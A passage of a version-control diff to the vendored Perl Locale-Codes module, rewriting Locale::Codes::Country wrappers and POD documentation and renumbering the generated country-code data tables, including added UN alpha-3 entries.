-   return Locale::Codes::_all_names('country', at _);
+   return $obj->all_names(@_);
 }
 
 sub rename_country {
-   return Locale::Codes::_rename('country', at _);
+   return $obj->rename_code(@_);
 }
 
 sub add_country {
-   return Locale::Codes::_add_code('country', at _);
+   return $obj->add_code(@_);
 }
 
 sub delete_country {
-   return Locale::Codes::_delete_code('country', at _);
+   return $obj->delete_code(@_);
 }
 
 sub add_country_alias {
-   return Locale::Codes::_add_alias('country', at _);
+   return $obj->add_alias(@_);
 }
 
 sub delete_country_alias {
-   return Locale::Codes::_delete_alias('country', at _);
+   return $obj->delete_alias(@_);
 }
 
 sub rename_country_code {
-   return Locale::Codes::_rename_code('country', at _);
+   return $obj->replace_code(@_);
 }
 
 sub add_country_code_alias {
-   return Locale::Codes::_add_code_alias('country', at _);
+   return $obj->add_code_alias(@_);
 }
 
 sub delete_country_code_alias {
-   return Locale::Codes::_delete_code_alias('country', at _);
+   return $obj->delete_code_alias(@_);
 }
 
 1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,127 +2,107 @@
 
 =head1 NAME
 
-Locale::Codes::Country - standard codes for country identification
+Locale::Codes::Country - module for dealing with country code sets
 
 =head1 SYNOPSIS
 
    use Locale::Codes::Country;
 
-   $country = code2country('jp' [,CODESET]);        # $country gets 'Japan'
-   $code    = country2code('Norway' [,CODESET]);    # $code gets 'no'
+   $name = code2country(CODE);
+   $code = country2code(NAME);
 
-   @codes   = all_country_codes( [CODESET]);
+   @codes   = all_country_codes();
    @names   = all_country_names();
 
-   # semi-private routines
-   Locale::Codes::Country::rename_country('gb' => 'Great Britain');
-
 =head1 DESCRIPTION
 
-This module provides access to several code sets
-that can be used for identifying countries, such as those defined in
-ISO 3166-1.
+This module provides access to country code sets.
 
+Please refer to the L<Locale::Codes::Types> document for a description
+of the code sets available.
+
 Most of the routines take an optional additional argument which
-specifies the code set to use. If not specified, the default ISO
-3166-1 two-letter codes will be used.
+specifies the code set to use. The code set can be specified using the
+name of a code set, or the perl constant specified in the above
+document.  If not specified, the default code set will be used.
 
-=head1 SUPPORTED CODE SETS
+=head1 ROUTINES
 
-There are several different code sets you can use for identifying
-countries. A code set may be specified using either a name, or a
-constant that is automatically exported by this module.
+All routines in this module call the appropriate method in the
+L<Locale::Codes> module, using an object of type: country
+Please refer to the documentation of the L<Locale::Codes> module
+for details about each function.
 
-For example, the two are equivalent:
+The following functions are exported automatically:
 
-   $country = code2country('jp','alpha-2');
-   $country = code2country('jp',LOCALE_CODE_ALPHA_2);
-
-The codesets currently supported are:
-
 =over 4
 
-=item B<alpha-2, LOCALE_CODE_ALPHA_2>
+=item B<code2country(CODE [,CODESET] [,'retired'])>
 
-This is the set of two-letter (lowercase) codes from ISO 3166-1, such
-as 'tv' for Tuvalu.
+See B<code2name> in L<Locale::Codes>
 
-This is the default code set.
+=item B<country2code(NAME [,CODESET] [,'retired'])>
 
-=item B<alpha-3, LOCALE_CODE_ALPHA_3>
+See B<name2code> in L<Locale::Codes>
 
-This is the set of three-letter (lowercase) codes from ISO 3166-1,
-such as 'brb' for Barbados. These codes are actually defined and
-maintained by the U.N. Statistics division.
+=item B<country_code2code(CODE ,CODESET ,CODESET2)>
 
-=item B<numeric, LOCALE_CODE_NUMERIC>
+See B<code2code> in L<Locale::Codes>
 
-This is the set of three-digit numeric codes from ISO 3166-1, such as
-064 for Bhutan. These codes are actually defined and maintained by the
-U.N. Statistics division.
+=item B<all_country_codes([CODESET] [,'retired'])>
 
-If a 2-digit code is entered, it is converted to 3 digits by prepending
-a 0.
+See B<all_codes> in L<Locale::Codes>
 
-=item B<dom, LOCALE_CODE_DOM>
+=item B<all_country_names([CODESET] [,'retired'])>
 
-The IANA is responsible for delegating management of the top level country
-domains.  The country domains are the two-letter (lowercase) codes from ISO 3166
-with a few other additions.
+See B<all_names> in L<Locale::Codes>
 
-=item B<un-alpha-3, LOCALE_CODE_UN_ALPHA_3>
-
-=item B<un-numeric, LOCALE_CODE_UN_NUMERIC>
-
-The UN maintains a list of codes that is similar, but not identical, to the
-standard ISO 3166 lists.  They maintain a 3-letter code (similar to alpha-3)
-and a numeric code (similar to numeric).
-
-=item B<genc-alpha-2, LOCALE_CODE_GENC_ALPHA_2>
-
-=item B<genc-alpha-3, LOCALE_CODE_GENC_ALPHA_3>
-
-=item B<genc-numeric, LOCALE_CODE_GENC_NUMERIC>
-
-The GENC codes are the US Government codes that replace the FIPS-11 codes.
-They are based on, but not identical to the standard ISO 3166 lists.
-
 =back
 
-NOTE: As of version 3.27, the FIPS code set is no longer supported.  See the
-Locale::Codes::Changes document for details.
+The following functions are not exported and must be called fully
+qualified with the package name:
 
-=head1 ROUTINES
-
 =over 4
 
-=item B<code2country(CODE [,CODESET] [,'retired'])>
+=item B<Locale::Codes::Country::show_errors(FLAG)>
 
-=item B<country2code(NAME [,CODESET] [,'retired'])>
+By default, invalid input will produce empty results, but no errors.  By
+passing in a non-zero value of FLAG, errors will be produced.
 
-=item B<country_code2code(CODE ,CODESET ,CODESET2)>
+See B<show_errors> in L<Locale::Codes> but note that the default for
+the non-OO modules are to NOT produce errors.
 
-=item B<all_country_codes([CODESET] [,'retired'])>
+=item B<Locale::Codes::Country::rename_country(CODE ,NEW_NAME [,CODESET])>
 
-=item B<all_country_names([CODESET] [,'retired'])>
+See B<rename_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::Country::rename_country(CODE ,NEW_NAME [,CODESET])>
-
 =item B<Locale::Codes::Country::add_country(CODE ,NAME [,CODESET])>
 
+See B<add_code> in L<Locale::Codes>
+
 =item B<Locale::Codes::Country::delete_country(CODE [,CODESET])>
 
+See B<delete_code> in L<Locale::Codes>
+
 =item B<Locale::Codes::Country::add_country_alias(NAME ,NEW_NAME)>
 
+See B<add_alias> in L<Locale::Codes>
+
 =item B<Locale::Codes::Country::delete_country_alias(NAME)>
 
+See B<delete_alias> in L<Locale::Codes>
+
 =item B<Locale::Codes::Country::rename_country_code(CODE ,NEW_CODE [,CODESET])>
 
+See B<replace_code> in L<Locale::Codes>
+
 =item B<Locale::Codes::Country::add_country_code_alias(CODE ,NEW_CODE [,CODESET])>
 
+See B<add_code_alias> in L<Locale::Codes>
+
 =item B<Locale::Codes::Country::delete_country_code_alias(CODE [,CODESET])>
 
-These routines are all documented in the L<Locale::Codes::API> man page.
+See B<delete_code_alias> in L<Locale::Codes>
 
 =back
 
@@ -134,54 +114,6 @@
 
 The Locale-Codes distribution.
 
-=item L<Locale::Codes::API>
-
-The list of functions supported by this module.
-
-=item L<Locale::SubCountry>
-
-ISO codes for country sub-divisions (states, counties, provinces,
-etc), as defined in ISO 3166-2.  This module is not part of the
-Locale-Codes distribution, but is available from CPAN in
-CPAN/modules/by-module/Locale/
-
-=item L<http://www.iso.org/iso/home/standards/country_codes.htm>
-
-Official home page for the ISO 3166 maintenance agency.
-
-=item L<http://www.iso.org/iso/home/standards/country_codes/iso-3166-1_decoding_table.htm>
-
-The source of ISO 3166-1 two-letter codes used by this
-module.
-
-=item L<http://www.iana.org/domains/root/db/>
-
-Official source of the top-level domain names.
-
-=item L<http://unstats.un.org/unsd/methods/m49/m49alpha.htm>
-
-The source of the UN codes.
-
-Previously, this table was treated as a source of the ISO 3166 data,
-but I found that the table was incomplete, so I stopped using it.
-Later, it was added back in as it's own list of codes.
-
-=item L<https://nsgreg.nga.mil/genc/discovery>
-
-The source of the GENC codes.
-
-=item L<https://www.cia.gov/library/publications/the-world-factbook/appendix/print_appendix-d.html>
-
-The World Factbook maintained by the CIA is a potential source of
-the data.  Unfortunately, it adds/preserves non-standard codes, so it is no
-longer used as a source of data.
-
-=item L<http://www.statoids.com/wab.html>
-
-Another unofficial source of data. Currently, it is not used to get
-data, but the notes and explanatory material were very useful for
-understanding discrepancies between the sources.
-
 =back
 
 =head1 AUTHOR
@@ -192,9 +124,7 @@
 
 =head1 COPYRIGHT
 
-   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
-   Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2016 Sullivan Beck
+   Copyright (c) 2011-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country_Codes.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country_Codes.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country_Codes.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Tue Nov 29 15:43:30 EST 2016
+#    Generated on: Fri Feb 23 12:17:40 EST 2018
 
 use strict;
 require 5.006;
@@ -11,9 +11,9 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
-$Locale::Codes::Data{'country'}{'id'} = '0283';
+$Locale::Codes::Data{'country'}{'id'} = '0280';
 
 $Locale::Codes::Data{'country'}{'id2names'} = {
    q(0001) => [
@@ -998,106 +998,93 @@
       q(Republic of Zimbabwe (The)),
       ],
    q(0250) => [
-      q(Channel Islands),
+      q(Sark),
       ],
    q(0251) => [
-      q(Sark),
+      q(Akrotiri),
       ],
    q(0252) => [
-      q(Akrotiri),
+      q(Ashmore and Cartier Islands),
       ],
    q(0253) => [
-      q(Ashmore and Cartier Islands),
+      q(Baker Island),
       ],
    q(0254) => [
-      q(Baker Island),
+      q(Bassas Da India),
       ],
    q(0255) => [
-      q(Bassas Da India),
+      q(Clipperton Island),
       ],
    q(0256) => [
-      q(Clipperton Island),
+      q(Coral Sea Islands),
       ],
    q(0257) => [
-      q(Coral Sea Islands),
+      q(Dhekelia),
       ],
    q(0258) => [
-      q(Dhekelia),
+      q(Diego Garcia),
       ],
    q(0259) => [
-      q(Diego Garcia),
+      q(Europa Island),
       ],
    q(0260) => [
-      q(Entity 1),
-      q(Entity 2),
-      q(Entity 3),
-      q(Entity 4),
-      q(Entity 5),
+      q(Gaza Strip),
       ],
    q(0261) => [
-      q(Entity 6),
+      q(Glorioso Islands),
       ],
    q(0262) => [
-      q(Europa Island),
+      q(Guantanamo Bay Naval Base),
       ],
    q(0263) => [
-      q(Gaza Strip),
+      q(Howland Island),
       ],
    q(0264) => [
-      q(Glorioso Islands),
+      q(Jan Mayen),
       ],
    q(0265) => [
-      q(Guantanamo Bay Naval Base),
+      q(Jarvis Island),
       ],
    q(0266) => [
-      q(Howland Island),
+      q(Johnston Atoll),
       ],
    q(0267) => [
-      q(Jan Mayen),
+      q(Juan de Nova Island),
       ],
    q(0268) => [
-      q(Jarvis Island),
+      q(Kingman Reef),
       ],
    q(0269) => [
-      q(Johnston Atoll),
+      q(Kosovo),
       ],
    q(0270) => [
-      q(Juan de Nova Island),
+      q(Midway Islands),
       ],
    q(0271) => [
-      q(Kingman Reef),
+      q(Navassa Island),
       ],
    q(0272) => [
-      q(Kosovo),
+      q(Palmyra Atoll),
       ],
    q(0273) => [
-      q(Midway Islands),
+      q(Paracel Islands),
       ],
    q(0274) => [
-      q(Navassa Island),
+      q(Spratly Islands),
       ],
    q(0275) => [
-      q(Palmyra Atoll),
+      q(Svalbard),
       ],
    q(0276) => [
-      q(Paracel Islands),
+      q(Tromelin Island),
       ],
    q(0277) => [
-      q(Spratly Islands),
+      q(Unknown),
       ],
    q(0278) => [
-      q(Svalbard),
+      q(Wake Island),
       ],
    q(0279) => [
-      q(Tromelin Island),
-      ],
-   q(0280) => [
-      q(Unknown),
-      ],
-   q(0281) => [
-      q(Wake Island),
-      ],
-   q(0282) => [
       q(West Bank),
       ],
 };
@@ -1108,7 +1095,7 @@
       q(0),
       ],
    q(akrotiri) => [
-      q(0252),
+      q(0251),
       q(0),
       ],
    q(aland islands) => [
@@ -1160,7 +1147,7 @@
       q(0),
       ],
    q(ashmore and cartier islands) => [
-      q(0253),
+      q(0252),
       q(0),
       ],
    q(australia) => [
@@ -1192,7 +1179,7 @@
       q(0),
       ],
    q(baker island) => [
-      q(0254),
+      q(0253),
       q(0),
       ],
    q(bangladesh) => [
@@ -1204,7 +1191,7 @@
       q(0),
       ],
    q(bassas da india) => [
-      q(0255),
+      q(0254),
       q(0),
       ],
    q(belarus) => [
@@ -1351,10 +1338,6 @@
       q(0044),
       q(0),
       ],
-   q(channel islands) => [
-      q(0250),
-      q(0),
-      ],
    q(chile) => [
       q(0045),
       q(0),
@@ -1376,7 +1359,7 @@
       q(0),
       ],
    q(clipperton island) => [
-      q(0256),
+      q(0255),
       q(0),
       ],
    q(cocos (keeling) islands) => [
@@ -1472,7 +1455,7 @@
       q(2),
       ],
    q(coral sea islands) => [
-      q(0257),
+      q(0256),
       q(0),
       ],
    q(costa rica) => [
@@ -1532,11 +1515,11 @@
       q(0),
       ],
    q(dhekelia) => [
-      q(0258),
+      q(0257),
       q(0),
       ],
    q(diego garcia) => [
-      q(0259),
+      q(0258),
       q(0),
       ],
    q(djibouti) => [
@@ -1575,30 +1558,6 @@
       q(0067),
       q(0),
       ],
-   q(entity 1) => [
-      q(0260),
-      q(0),
-      ],
-   q(entity 2) => [
-      q(0260),
-      q(1),
-      ],
-   q(entity 3) => [
-      q(0260),
-      q(2),
-      ],
-   q(entity 4) => [
-      q(0260),
-      q(3),
-      ],
-   q(entity 5) => [
-      q(0260),
-      q(4),
-      ],
-   q(entity 6) => [
-      q(0261),
-      q(0),
-      ],
    q(equatorial guinea) => [
       q(0068),
       q(0),
@@ -1616,7 +1575,7 @@
       q(0),
       ],
    q(europa island) => [
-      q(0262),
+      q(0259),
       q(0),
       ],
    q(faeroe islands) => [
@@ -1708,7 +1667,7 @@
       q(2),
       ],
    q(gaza strip) => [
-      q(0263),
+      q(0260),
       q(0),
       ],
    q(georgia) => [
@@ -1728,7 +1687,7 @@
       q(0),
       ],
    q(glorioso islands) => [
-      q(0264),
+      q(0261),
       q(0),
       ],
    q(great britain) => [
@@ -1756,7 +1715,7 @@
       q(0),
       ],
    q(guantanamo bay naval base) => [
-      q(0265),
+      q(0262),
       q(0),
       ],
    q(guatemala) => [
@@ -1828,7 +1787,7 @@
       q(3),
       ],
    q(howland island) => [
-      q(0266),
+      q(0263),
       q(0),
       ],
    q(hungary) => [
@@ -1896,7 +1855,7 @@
       q(0),
       ],
    q(jan mayen) => [
-      q(0267),
+      q(0264),
       q(0),
       ],
    q(japan) => [
@@ -1904,7 +1863,7 @@
       q(0),
       ],
    q(jarvis island) => [
-      q(0268),
+      q(0265),
       q(0),
       ],
    q(jersey) => [
@@ -1912,7 +1871,7 @@
       q(0),
       ],
    q(johnston atoll) => [
-      q(0269),
+      q(0266),
       q(0),
       ],
    q(jordan) => [
@@ -1920,7 +1879,7 @@
       q(0),
       ],
    q(juan de nova island) => [
-      q(0270),
+      q(0267),
       q(0),
       ],
    q(kazakhstan) => [
@@ -1940,7 +1899,7 @@
       q(0),
       ],
    q(kingman reef) => [
-      q(0271),
+      q(0268),
       q(0),
       ],
    q(kiribati) => [
@@ -1988,7 +1947,7 @@
       q(0),
       ],
    q(kosovo) => [
-      q(0272),
+      q(0269),
       q(0),
       ],
    q(kuwait) => [
@@ -2160,7 +2119,7 @@
       q(4),
       ],
    q(midway islands) => [
-      q(0273),
+      q(0270),
       q(0),
       ],
    q(moldova) => [
@@ -2220,7 +2179,7 @@
       q(0),
       ],
    q(navassa island) => [
-      q(0274),
+      q(0271),
       q(0),
       ],
    q(nepal) => [
@@ -2316,7 +2275,7 @@
       q(0),
       ],
    q(palmyra atoll) => [
-      q(0275),
+      q(0272),
       q(0),
       ],
    q(panama) => [
@@ -2328,7 +2287,7 @@
       q(0),
       ],
    q(paracel islands) => [
-      q(0276),
+      q(0273),
       q(0),
       ],
    q(paraguay) => [
@@ -2516,7 +2475,7 @@
       q(0),
       ],
    q(sark) => [
-      q(0251),
+      q(0250),
       q(0),
       ],
    q(saudi arabia) => [
@@ -2604,7 +2563,7 @@
       q(0),
       ],
    q(spratly islands) => [
-      q(0277),
+      q(0274),
       q(0),
       ],
    q(sri lanka) => [
@@ -2632,7 +2591,7 @@
       q(0),
       ],
    q(svalbard) => [
-      q(0278),
+      q(0275),
       q(0),
       ],
    q(svalbard and jan mayen) => [
@@ -2936,7 +2895,7 @@
       q(0),
       ],
    q(tromelin island) => [
-      q(0279),
+      q(0276),
       q(0),
       ],
    q(tunisia) => [
@@ -3060,7 +3019,7 @@
       q(6),
       ],
    q(unknown) => [
-      q(0280),
+      q(0277),
       q(0),
       ],
    q(uruguay) => [
@@ -3140,7 +3099,7 @@
       q(3),
       ],
    q(wake island) => [
-      q(0281),
+      q(0278),
       q(0),
       ],
    q(wallis and futuna) => [
@@ -3152,7 +3111,7 @@
       q(1),
       ],
    q(west bank) => [
-      q(0282),
+      q(0279),
       q(0),
       ],
    q(western sahara) => [
@@ -6182,17 +6141,13 @@
       },
    q(genc-alpha-2) => {
       q(A1) => [
-         q(0280),
+         q(0277),
          q(0),
          ],
       q(A2) => [
-         q(0265),
+         q(0262),
          q(0),
          ],
-      q(A3) => [
-         q(0261),
-         q(0),
-         ],
       q(AD) => [
          q(0006),
          q(0),
@@ -6386,7 +6341,7 @@
          q(0),
          ],
       q(CP) => [
-         q(0256),
+         q(0255),
          q(0),
          ],
       q(CR) => [
@@ -6422,7 +6377,7 @@
          q(0),
          ],
       q(DG) => [
-         q(0259),
+         q(0258),
          q(0),
          ],
       q(DJ) => [
@@ -6942,27 +6897,27 @@
          q(0),
          ],
       q(QM) => [
-         q(0273),
+         q(0270),
          q(0),
          ],
       q(QS) => [
-         q(0255),
+         q(0254),
          q(0),
          ],
       q(QU) => [
-         q(0270),
+         q(0267),
          q(0),
          ],
       q(QW) => [
-         q(0281),
+         q(0278),
          q(0),
          ],
       q(QX) => [
-         q(0264),
+         q(0261),
          q(0),
          ],
       q(QZ) => [
-         q(0252),
+         q(0251),
          q(0),
          ],
       q(RE) => [
@@ -7186,79 +7141,79 @@
          q(0),
          ],
       q(XA) => [
-         q(0253),
+         q(0252),
          q(0),
          ],
       q(XB) => [
-         q(0254),
+         q(0253),
          q(0),
          ],
       q(XC) => [
-         q(0257),
+         q(0256),
          q(0),
          ],
       q(XD) => [
-         q(0258),
+         q(0257),
          q(0),
          ],
       q(XE) => [
-         q(0262),
+         q(0259),
          q(0),
          ],
       q(XG) => [
-         q(0263),
+         q(0260),
          q(0),
          ],
       q(XH) => [
-         q(0266),
+         q(0263),
          q(0),
          ],
       q(XJ) => [
-         q(0267),
+         q(0264),
          q(0),
          ],
       q(XK) => [
-         q(0272),
+         q(0269),
          q(0),
          ],
       q(XL) => [
-         q(0275),
+         q(0272),
          q(0),
          ],
       q(XM) => [
-         q(0271),
+         q(0268),
          q(0),
          ],
       q(XP) => [
-         q(0276),
+         q(0273),
          q(0),
          ],
       q(XQ) => [
-         q(0268),
+         q(0265),
          q(0),
          ],
       q(XR) => [
-         q(0278),
+         q(0275),
          q(0),
          ],
       q(XS) => [
-         q(0277),
+         q(0274),
          q(0),
          ],
       q(XT) => [
-         q(0279),
+         q(0276),
          q(0),
          ],
       q(XU) => [
-         q(0269),
+         q(0266),
          q(0),
          ],
       q(XV) => [
-         q(0274),
+         q(0271),
          q(0),
          ],
       q(XW) => [
-         q(0282),
+         q(0279),
          q(0),
          ],
       q(YE) => [
@@ -7281,10 +7236,6 @@
          q(0249),
          q(0),
          ],
-      q([None Assigned]) => [
-         q(0260),
-         q(4),
-         ],
       },
    q(genc-alpha-3) => {
       q(ABW) => [
@@ -7348,17 +7299,13 @@
          q(0),
          ],
       q(AX1) => [
-         q(0280),
+         q(0277),
          q(0),
          ],
       q(AX2) => [
-         q(0265),
+         q(0262),
          q(0),
          ],
-      q(AX3) => [
-         q(0261),
-         q(0),
-         ],
       q(AZE) => [
          q(0016),
          q(0),
@@ -7500,7 +7447,7 @@
          q(0),
          ],
       q(CPT) => [
-         q(0256),
+         q(0255),
          q(0),
          ],
       q(CPV) => [
@@ -7540,7 +7487,7 @@
          q(0),
          ],
       q(DGA) => [
-         q(0259),
+         q(0258),
          q(0),
          ],
       q(DJI) => [
@@ -8272,123 +8219,103 @@
          q(0),
          ],
       q(XAC) => [
-         q(0253),
+         q(0252),
          q(0),
          ],
-      q(XAZ) => [
-         q(0260),
-         q(0),
-         ],
       q(XBI) => [
-         q(0255),
+         q(0254),
          q(0),
          ],
       q(XBK) => [
-         q(0254),
+         q(0253),
          q(0),
          ],
-      q(XCR) => [
-         q(0260),
-         q(1),
-         ],
       q(XCS) => [
-         q(0257),
+         q(0256),
          q(0),
          ],
-      q(XCY) => [
-         q(0260),
-         q(2),
-         ],
       q(XEU) => [
-         q(0262),
+         q(0259),
          q(0),
          ],
       q(XGL) => [
-         q(0264),
+         q(0261),
          q(0),
          ],
       q(XGZ) => [
-         q(0263),
+         q(0260),
          q(0),
          ],
       q(XHO) => [
-         q(0266),
+         q(0263),
          q(0),
          ],
       q(XJA) => [
-         q(0269),
+         q(0266),
          q(0),
          ],
       q(XJM) => [
-         q(0267),
+         q(0264),
          q(0),
          ],
       q(XJN) => [
-         q(0270),
+         q(0267),
          q(0),
          ],
       q(XJV) => [
-         q(0268),
+         q(0265),
          q(0),
          ],
-      q(XKM) => [
-         q(0260),
-         q(3),
-         ],
-      q(XKN) => [
-         q(0260),
-         q(4),
-         ],
       q(XKR) => [
-         q(0271),
+         q(0268),
          q(0),
          ],
       q(XKS) => [
-         q(0272),
+         q(0269),
          q(0),
          ],
       q(XMW) => [
-         q(0273),
+         q(0270),
          q(0),
          ],
       q(XNV) => [
-         q(0274),
+         q(0271),
          q(0),
          ],
       q(XPL) => [
-         q(0275),
+         q(0272),
          q(0),
          ],
       q(XPR) => [
-         q(0276),
+         q(0273),
          q(0),
          ],
       q(XQZ) => [
-         q(0252),
+         q(0251),
          q(0),
          ],
       q(XSP) => [
-         q(0277),
+         q(0274),
          q(0),
          ],
       q(XSV) => [
-         q(0278),
+         q(0275),
          q(0),
          ],
       q(XTR) => [
-         q(0279),
+         q(0276),
          q(0),
          ],
       q(XWB) => [
-         q(0282),
+         q(0279),
          q(0),
          ],
       q(XWK) => [
-         q(0281),
+         q(0278),
          q(0),
          ],
       q(XXD) => [
-         q(0258),
+         q(0257),
          q(0),
          ],
       q(YEM) => [
@@ -9390,143 +9317,119 @@
          q(0),
          ],
       q(900) => [
-         q(0252),
+         q(0251),
          q(0),
          ],
       q(901) => [
-         q(0272),
+         q(0269),
          q(0),
          ],
       q(902) => [
-         q(0253),
+         q(0252),
          q(0),
          ],
       q(903) => [
-         q(0254),
+         q(0253),
          q(0),
          ],
       q(904) => [
-         q(0255),
+         q(0254),
          q(0),
          ],
       q(905) => [
-         q(0256),
+         q(0255),
          q(0),
          ],
       q(906) => [
-         q(0257),
+         q(0256),
          q(0),
          ],
       q(907) => [
-         q(0258),
+         q(0257),
          q(0),
          ],
       q(908) => [
-         q(0259),
+         q(0258),
          q(0),
          ],
-      q(909) => [
-         q(0260),
-         q(0),
-         ],
-      q(910) => [
-         q(0260),
-         q(1),
-         ],
-      q(911) => [
-         q(0260),
-         q(2),
-         ],
-      q(912) => [
-         q(0260),
-         q(3),
-         ],
-      q(913) => [
-         q(0260),
-         q(4),
-         ],
-      q(914) => [
-         q(0261),
-         q(0),
-         ],
       q(915) => [
-         q(0262),
+         q(0259),
          q(0),
          ],
       q(916) => [
-         q(0263),
+         q(0260),
          q(0),
          ],
       q(917) => [
-         q(0264),
+         q(0261),
          q(0),
          ],
       q(918) => [
-         q(0265),
+         q(0262),
          q(0),
          ],
       q(919) => [
-         q(0266),
+         q(0263),
          q(0),
          ],
       q(920) => [
-         q(0267),
+         q(0264),
          q(0),
          ],
       q(921) => [
-         q(0268),
+         q(0265),
          q(0),
          ],
       q(922) => [
-         q(0269),
+         q(0266),
          q(0),
          ],
       q(923) => [
-         q(0270),
+         q(0267),
          q(0),
          ],
       q(924) => [
-         q(0271),
+         q(0268),
          q(0),
          ],
       q(925) => [
-         q(0273),
+         q(0270),
          q(0),
          ],
       q(926) => [
-         q(0274),
+         q(0271),
          q(0),
          ],
       q(927) => [
-         q(0275),
+         q(0272),
          q(0),
          ],
       q(928) => [
-         q(0276),
+         q(0273),
          q(0),
          ],
       q(929) => [
-         q(0277),
+         q(0274),
          q(0),
          ],
       q(930) => [
-         q(0278),
+         q(0275),
          q(0),
          ],
       q(931) => [
-         q(0279),
+         q(0276),
          q(0),
          ],
       q(932) => [
-         q(0280),
+         q(0277),
          q(0),
          ],
       q(933) => [
-         q(0281),
+         q(0278),
          q(0),
          ],
       q(934) => [
-         q(0282),
+         q(0279),
          q(0),
          ],
       },
@@ -10557,6 +10460,10 @@
          q(0006),
          q(0),
          ],
+      q(ARE) => [
+         q(0234),
+         q(0),
+         ],
       q(ARG) => [
          q(0011),
          q(0),
@@ -10569,6 +10476,14 @@
          q(0005),
          q(0),
          ],
+      q(ATA) => [
+         q(0009),
+         q(0),
+         ],
+      q(ATF) => [
+         q(0079),
+         q(0),
+         ],
       q(ATG) => [
          q(0010),
          q(0),
@@ -10661,6 +10576,10 @@
          q(0026),
          q(0),
          ],
+      q(BVT) => [
+         q(0031),
+         q(0),
+         ],
       q(BWA) => [
          q(0030),
          q(0),
@@ -10673,6 +10592,14 @@
          q(0041),
          q(0),
          ],
+      q(CCK) => [
+         q(0048),
+         q(0),
+         ],
+      q(CHE) => [
+         q(0216),
+         q(0),
+         ],
       q(CHL) => [
          q(0045),
          q(0),
@@ -10725,6 +10652,10 @@
          q(0058),
          q(0),
          ],
+      q(CXR) => [
+         q(0047),
+         q(0),
+         ],
       q(CYM) => [
          q(0042),
          q(0),
@@ -10773,6 +10704,10 @@
          q(0069),
          q(0),
          ],
+      q(ESH) => [
+         q(0246),
+         q(0),
+         ],
       q(ESP) => [
          q(0209),
          q(0),
@@ -10813,6 +10748,10 @@
          q(0080),
          q(0),
          ],
+      q(GBR) => [
+         q(0235),
+         q(0),
+         ],
       q(GEO) => [
          q(0082),
          q(0),
@@ -10881,6 +10820,10 @@
          q(0100),
          q(0),
          ],
+      q(HMD) => [
+         q(0097),
+         q(0),
+         ],
       q(HND) => [
          q(0099),
          q(0),
@@ -10909,6 +10852,10 @@
          q(0103),
          q(0),
          ],
+      q(IOT) => [
+         q(0033),
+         q(0),
+         ],
       q(IRL) => [
          q(0107),
          q(0),
@@ -11061,6 +11008,10 @@
          q(0139),
          q(0),
          ],
+      q(MKD) => [
+         q(0132),
+         q(0),
+         ],
       q(MLI) => [
          q(0137),
          q(0),
@@ -11207,7 +11158,7 @@
          ],
       q(PRK) => [
          q(0118),
-         q(0),
+         q(5),
          ],
       q(PRT) => [
          q(0178),
@@ -11249,6 +11200,10 @@
          q(0195),
          q(0),
          ],
+      q(SDN) => [
+         q(0211),
+         q(0),
+         ],
       q(SEN) => [
          q(0196),
          q(0),
@@ -11257,10 +11212,18 @@
          q(0200),
          q(0),
          ],
+      q(SGS) => [
+         q(0207),
+         q(0),
+         ],
       q(SHN) => [
          q(0186),
          q(0),
          ],
+      q(SJM) => [
+         q(0213),
+         q(0),
+         ],
       q(SLB) => [
          q(0204),
          q(0),
@@ -11297,6 +11260,10 @@
          q(0194),
          q(0),
          ],
+      q(SUR) => [
+         q(0212),
+         q(0),
+         ],
       q(SVK) => [
          q(0202),
          q(0),
@@ -11305,6 +11272,14 @@
          q(0203),
          q(0),
          ],
+      q(SWE) => [
+         q(0215),
+         q(0),
+         ],
+      q(SWZ) => [
+         q(0214),
+         q(0),
+         ],
       q(SXM) => [
          q(0201),
          q(0),
@@ -11313,10 +11288,90 @@
          q(0198),
          q(0),
          ],
+      q(SYR) => [
+         q(0217),
+         q(0),
+         ],
+      q(TCA) => [
+         q(0230),
+         q(0),
+         ],
       q(TCD) => [
          q(0044),
          q(0),
          ],
+      q(TGO) => [
+         q(0223),
+         q(0),
+         ],
+      q(THA) => [
+         q(0221),
+         q(0),
+         ],
+      q(TJK) => [
+         q(0219),
+         q(0),
+         ],
+      q(TKL) => [
+         q(0224),
+         q(0),
+         ],
+      q(TKM) => [
+         q(0229),
+         q(0),
+         ],
+      q(TLS) => [
+         q(0222),
+         q(0),
+         ],
+      q(TON) => [
+         q(0225),
+         q(0),
+         ],
+      q(TTO) => [
+         q(0226),
+         q(0),
+         ],
+      q(TUN) => [
+         q(0227),
+         q(0),
+         ],
+      q(TUR) => [
+         q(0228),
+         q(0),
+         ],
+      q(TUV) => [
+         q(0231),
+         q(0),
+         ],
+      q(TZA) => [
+         q(0220),
+         q(0),
+         ],
+      q(UGA) => [
+         q(0232),
+         q(0),
+         ],
+      q(UKR) => [
+         q(0233),
+         q(0),
+         ],
+      q(UMI) => [
+         q(0236),
+         q(0),
+         ],
+      q(URY) => [
+         q(0238),
+         q(0),
+         ],
+      q(USA) => [
+         q(0237),
+         q(0),
+         ],
+      q(UZB) => [
+         q(0239),
+         q(0),
+         ],
       q(VAT) => [
          q(0098),
          q(0),
@@ -11325,18 +11380,50 @@
          q(0191),
          q(0),
          ],
+      q(VEN) => [
+         q(0241),
